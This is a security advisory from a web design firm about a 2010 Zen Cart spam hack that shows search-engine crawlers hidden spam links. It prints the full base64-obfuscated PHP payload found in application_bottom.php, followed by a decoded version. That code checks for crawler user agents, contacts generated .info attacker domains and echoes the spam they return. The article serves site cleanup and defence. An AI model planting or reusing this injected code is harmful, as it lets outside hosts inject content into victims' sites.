c4412d2ffc4bf832.info Zen Cart Spam Hack

August 9, 2010

The c4412d2ffc4bf832.info Zen Cart spam hack adds spam links to web pages of Zen Cart based websites when the crawler for a search engine requests the page. When a web page is served to a web browser the content is not included, this is referred to as cloaking. There are a number of ways to view those cloaked spam links.

These links are added to the web pages due to an obfuscated PHP script that is located at the bottom of the application_bottom.php file, located in the includes directory of the Zen Cart installation. This PHP script is added to the file using a vulnerability in Zen Cart installations which are not up to date with security patches. The PHP script attempts to request a file from c4412d2ffc4bf832.info, dbe93fa37d468233.info, 0158f6a8e1af3aea.info, 2d54f960825693c4.info, 06721ee8cf8f6ce1.info, 2088d58723338a2f.info, af946e7ce9f0975d.info, and 78551c70995a457e.info. Currently only the first three domains names have been registered. Only c4412d2ffc4bf832.info is currently active. We got the hosting provider for dbe93fa37d468233.info to shut off the service for the website and 0158f6a8e1af3aea.info was hosted by company that was shut down by the US government.

Example PHP Script Placed on application_bottom.php

<?php eval(base64_decode("JF80MzllYzFjYjBmMTY1NmM2NjE3ZjQxZDg4Y2Y5NDgzMCA9IGNocigxMTUpLmNocigxMTcpLmNocig5OCkuY2hyKDExNSkuY2hyKDExNikuY2hyKDExNCk7DQokXzI5MzgyOTdkYTNiOWE4MzQwMzA3MDViM2FhNTlkOTNhID0gY2hyKDEwOSkuY2hyKDEwMCkuY2hyKDUzKTsNCiRfYmEzMDQyOGI2YzA0OTIwOGE3NjY1N2M2NDgwYjdkZGYgPSBjaHIoMTAyKS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoOTkpLmNocigxMDcpLmNocigxMTEpLmNocigxMTIpLmNocigxMDEpLmNocigxMTApOw0KJF9lY2FhNzU5NmI0MzliOWFmNjBjYzk4M2IyMDY3ZmFiYyA9IGNocigxMDIpLmNocigxMTIpLmNocigxMTcpLmNocigxMTYpLmNocigxMTUpOw0KJF85MTU4OGRiNTUzYWQ0YjhjYzYyNGQxY2Y2ZmFkZjM2OCA9IGNocigxMDIpLmNocigxMDMpLmNocigxMDEpLmNocigxMTYpLmNocigxMTUpOw0KJF8xZDM0MmJjOGE4OTkwYWFlMWVkMjliNTJmZDUxMzM4YyA9IGNocigxMTUpLmNocigxMTYpLmNocigxMTQpLmNocigxMTUpLmNocigxMTYpLmNocigxMTQpOw0KJF9hMzIwZWI2MDY1MWIyOTFjYTQ3OWY0M2E4ODU2YjczYSA9IGNocig5NSkuY2hyKDgzKS5jaHIoNjkpLmNocig4MikuY2hyKDg2KS5jaHIoNjkpLmNocig4Mik7DQokXzVhNjcyMzY0NzQzZWJhMWJjMDczNjNlNGJmY2VkMDVjID0gJCRfYTMyMGViNjA2NTFiMjkxY2E0NzlmNDNhODg1NmI3M2E7DQoNCmlmKCRfMWQzNDJiYzhhODk5MGFhZTFlZDI5YjUyZmQ1MTMzOGMoJF81YTY3MjM2NDc0M2ViYTFiYzA3MzYzZTRiZmNlZDA1Y1tjaHIoNzIpLmNocig4NCkuY2hyKDg0KS5jaHIoODApLmNocig5NSkuY2hyKDg1KS5jaHIoODMpLmNocig2OSkuY2hyKDgyKS5jaHIoOTUpLmNocig2NSkuY2hyKDcxKS5jaHIoNjkpLmNocig3OCkuY2hyKDg0KV0sIGNocig3MSkuY2hyKDExMSkuY2hyKDExMSkuY2hyKDEwMykuY2hyKDEwOCkuY2hyKDEwMSkuY2hyKDk4KS5jaHIoMTExKS5jaHIoMTE2KSkgfHwgJF8xZDM0MmJjOGE4OTkwYWFlMWVkMjliNTJmZDUxMzM4YygkXzVhNjcyMzY0NzQzZWJhMWJjMDczNjNlNGJmY2VkMDVjW2Nocig3MikuY2hyKDg0KS5jaHIoODQpLmNocig4MCkuY2hyKDk1KS5jaHIoODUpLmNocig4MykuY2hyKDY5KS5jaHIoODIpLmNocig5NSkuY2hyKDY1KS5jaHIoNzEpLmNocig2OSkuY2hyKDc4KS5jaHIoODQpXSwgY2hyKDEwOSkuY2hyKDExNSkuY2hyKDExMCkuY2hyKDk4KS5jaHIoMTExKS5jaHIoMTE2KSkgfHwkXzFkMzQyYmM4YTg5OTBhYWUxZWQyOWI1MmZkNTEzMzhjKCRfNWE2NzIzNjQ3NDNlYmExYmMwNzM2M2U0YmZjZWQwNWNbY2hyKDcyKS5jaHIoODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig4NSkuY2hyKDgzKS5jaHIoNjkpLmNocig4MikuY2hyKDk1KS5jaHIoNjUpLmNocig3MSkuY2hyKDY5KS5jaHIoNzgpLmNocig4NCldLCBjaHIoODMpLmNocigxMDgpLmNocigxMTcpLmNocigxMTQpLmNocigxMTIpKSApIHsNCgkNCiBmb3IoJF9hMmVmZWY2YzNlMGM2NTkyNjZhMzYxMmYwOGUwZjIxOT00NTg1Njc7JF9hMmVmZWY2YzNlMGM2NTkyNjZhMzYxMmYwOGUwZjIxOTw0NTg1NzU7JF9hMmVmZWY2YzNlMGM2NTkyNjZhMzYxMmYwOGUwZjIxOSsrKSB7DQogICRfMzdhYTVmMTQ5YTY1NzJlN2ZiMDNlYjE4ZTE1MGM2ZGMgPSAkXzQzOWVjMWNiMGYxNjU2YzY2MTdmNDFkODhjZjk0ODMwKCRfMjkzODI5N2RhM2I5YTgzNDAzMDcwNWIzYWE1OWQ5M2EoJF9hMmVmZWY2YzNlMGM2NTkyNjZhMzYxMmYwOGUwZjIxOSksIDAsIDE2KSAuIGNocig0NikuY2hyKDEwNSkuY2hyKDExMCkuY2hyKDEwMikuY2hyKDExMSk7DQogICRfMDAyYThjNTA4YjhlMjM5MmU2MGJiOWZmZWVjZTQ2YzA9JF9iYTMwNDI4YjZjMDQ5MjA4YTc2NjU3YzY0ODBiN2RkZigkXzM3YWE1ZjE0OWE2NTcyZTdmYjAzZWIxOGUxNTBjNmRjLCBjaHIoNTYpLmNocig0OCkpOw0KICBpZighJF8wMDJhOGM1MDhiOGUyMzkyZTYwYmI5ZmZlZWNlNDZjMCkgDQogICBjb250aW51ZTsNCiAgJF9lY2FhNzU5NmI0MzliOWFmNjBjYzk4M2IyMDY3ZmFiYygkXzAwMmE4YzUwOGI4ZTIzOTJlNjBiYjlmZmVlY2U0NmMwLCBjaHIoNzEpLmNocig2OSkuY2hyKDg0KS5jaHIoMzIpLmNocig0NykuY2hyKDU3KS5jaHIoMTAwKS5jaHIoMTAwKS5jaHIoMTAwKS5jaHIoMTAyKS5jaHIoNTApLmNocig5NykuY2hyKDUyKS5jaHIoMTAyKS5jaHIoNTUpLmNocigxMDApLmNocig1NykuY2hyKDUyKS5jaHIoNTMpLmNocig1NykuY2hyKDUyKS5jaHIoMTAxKS5jaHIoOTkpLmNocig1MCkuY2hyKDEwMSkuY2hyKDk3KS5jaHIoNTcpLmNocig1NikuY2hyKDUyKS5jaHIoNDgpLmNocig1NSkuY2hyKDk3KS5jaHIoNTIpLmNocig0OSkuY2hyKDQ4KS5jaHIoMTAxKS5jaHIoNDkpLmNocig2MykuY2hyKDEwMCkuY2hyKDU3KS5jaHIoNTIpLmNocig1MykuY2hyKDU3KS5jaHIoNTIpLmNocigxMDEpLmNocig5OSkuY2hyKDUwKS5jaHIoMTAxKS5jaHIoOTcpLmNocig2MSkuY2hyKDk5KS5jaHIoNTYpLmNocig5NykuY2hyKDUyKS5jaHIoOTgpLmNocig1MSkuY2hyKDEwMSkuY2hyKDMyKS5jaHIoNzIpLmNocig4NCkuY2hyKDg0KS5jaHIoODApLmNocig0NykuY2hyKDQ5KS5jaHIoNDYpLmNocig0OSkuIlxyXG4iLmNocig3MikuY2hyKDExMSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDU4KS5jaHIoMzIpLiRfMzdhYTVmMTQ5YTY1NzJlN2ZiMDNlYjE4ZTE1MGM2ZGMuIlxyXG4iLmNocig4MikuY2hyKDEwMSkuY2hyKDEwMikuY2hyKDEwMSkuY2hyKDExNCkuY2hyKDEwMSkuY2hyKDExNCkuY2hyKDU4KS5jaHIoMzIpLmNocigxMDQpLmNocigxMTYpLmNocigxMTYpLmNocigxMTIpLmNocig1OCkuY2hyKDQ3KS5jaHIoNDcpIC4gJF81YTY3MjM2NDc0M2ViYTFiYzA3MzYzZTRiZmNlZDA1Y1tjaHIoODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY2hyKDgyKS5jaHIoOTUpLmNocig3OCkuY2hyKDY1KS5jaHIoNzcpLmNocig2OSldIC4gJCRfYTMyMGViNjA2NTFiMjkxY2E0NzlmNDNhODg1NmI3M2FbY2hyKDgyKS5jaHIoNjkpLmNocig4MSkuY2hyKDg1KS5jaHIoNjkpLmNocig4MykuY2hyKDg0KS5jaHIoOTUpLmNocig4NSkuY2hyKDgyKS5jaHIoNzMpXS4iXHJcblxyXG4iKTsNCiAgJF9mYzVjOTQ2MmU1ZTc4YTkzYmRlN2RmMzE4MmQyZjFlZT0wOw0KICB3aGlsZSgkX2Y0MWI4YTdlZWM5ZTEzMzM5ZDI3ZDZmODYxOTNiZGM0ID0gJF85MTU4OGRiNTUzYWQ0YjhjYzYyNGQxY2Y2ZmFkZjM2OCgkXzAwMmE4YzUwOGI4ZTIzOTJlNjBiYjlmZmVlY2U0NmMwLCAxMDI0KSkgew0KICAgaWYoJF9mYzVjOTQ2MmU1ZTc4YTkzYmRlN2RmMzE4MmQyZjFlZSkgew0KICAgIGlmKCRfMWQzNDJiYzhhODk5MGFhZTFlZDI5YjUyZmQ1MTMzOGMoJF9mNDFiOGE3ZWVjOWUxMzMzOWQyN2Q2Zjg2MTkzYmRjNCxjaHIoNDUpLmNocig0NSkuY2hyKDQ1KS5jaHIoNDUpLmNocig0NSkpKXsNCiAgICAgYnJlYWs7DQogICAgfQ0KICAgIGVjaG8oJF9mNDFiOGE3ZWVjOWUxMzMzOWQyN2Q2Zjg2MTkzYmRjNCk7IA0KICAgfQ0KICAgaWYoJF8xZDM0MmJjOGE4OTkwYWFlMWVkMjliNTJmZDUxMzM4YygkX2Y0MWI4YTdlZWM5ZTEzMzM5ZDI3ZDZmODYxOTNiZGM0LGNocig0NSkuY2hyKDQ1KS5jaHIoNDUpLmNocig0NSkuY2hyKDQ1KSkpIHsNCiAgICAkX2ZjNWM5NDYyZTVlNzhhOTNiZGU3ZGYzMTgyZDJmMWVlPTE7DQogICAgY29udGludWU7DQogICB9DQogIH0NCiAgaWYoJF9mYzVjOTQ2MmU1ZTc4YTkzYmRlN2RmMzE4MmQyZjFlZSkNCiAgIGJyZWFrOw0KIH0NCn0=")); ?>

Unobfucated PHP Script

<?php
print($_439ec1cb0f1656c6617f41d88cf94830 = substr;
$_2938297da3b9a834030705b3aa59d93a = md5;
$_ba30428b6c049208a76657c6480b7ddf = fsockopen;
$_ecaa7596b439b9af60cc983b2067fabc = fputs;
$_91588db553ad4b8cc624d1cf6fadf368 = fgets;
$_1d342bc8a8990aae1ed29b52fd51338c = strstr;
$_a320eb60651b291ca479f43a8856b73a = _SERVER;
$_5a672364743eba1bc07363e4bfced05c = $_SERVER;

if(strstr($_SERVER[HTTP_USER_AGENT], Googlebot) || strstr($_SERVER[HTTP_USER_AGENT], msnbot) ||strstr(_SERVER[HTTP_USER_AGENT], Slurp) ) {

for($_a2efef6c3e0c659266a3612f08e0f219=458567;$_a2efef6c3e0c659266a3612f08e0f219<458575;$_a2efef6c3e0c659266a3612f08e0f219++) {
  $_37aa5f149a6572e7fb03eb18e150c6dc = substr(md5($_a2efef6c3e0c659266a3612f08e0f219), 0, 16) . .info;
  $_002a8c508b8e2392e60bb9ffeece46c0=fsockopen($_37aa5f149a6572e7fb03eb18e150c6dc, 80);
  if(!$_002a8c508b8e2392e60bb9ffeece46c0)
   continue;
  fputs($_002a8c508b8e2392e60bb9ffeece46c0, GET /9dddf2a4f7d94594ec2ea98407a410e1?d94594ec2ea=c8a4b3e HTTP/1.1."\r\n"Host: .$_37aa5f149a6572e7fb03eb18e150c6dc."\r\n"Referer: http:// . $_SERVER[SERVER_NAME] . $_SERVER[REQUEST_URI]."\r\n\r\n");
  $_fc5c9462e5e78a93bde7df3182d2f1ee=0;
  while($_f41b8a7eec9e13339d27d6f86193bdc4 = fgets($_002a8c508b8e2392e60bb9ffeece46c0, 1024)) {
   if($_fc5c9462e5e78a93bde7df3182d2f1ee) {
    if(strstr($_f41b8a7eec9e13339d27d6f86193bdc4,-----)){
     break;
    }
    echo($_f41b8a7eec9e13339d27d6f86193bdc4);
   }
   if(strstr($_f41b8a7eec9e13339d27d6f86193bdc4,-----)) {
    $_fc5c9462e5e78a93bde7df3182d2f1ee=1;
    continue;
   }
  }
});
?>

Service

Hacked Zen Cart Store Cleanup

White Fir Design

Web Design, Security, and Marketing

c4412d2ffc4bf832.info Zen Cart Spam Hack

Related:

Service

Resource

You are here

c4412d2ffc4bf832.info Zen Cart Spam Hack

Related:

Service

Resource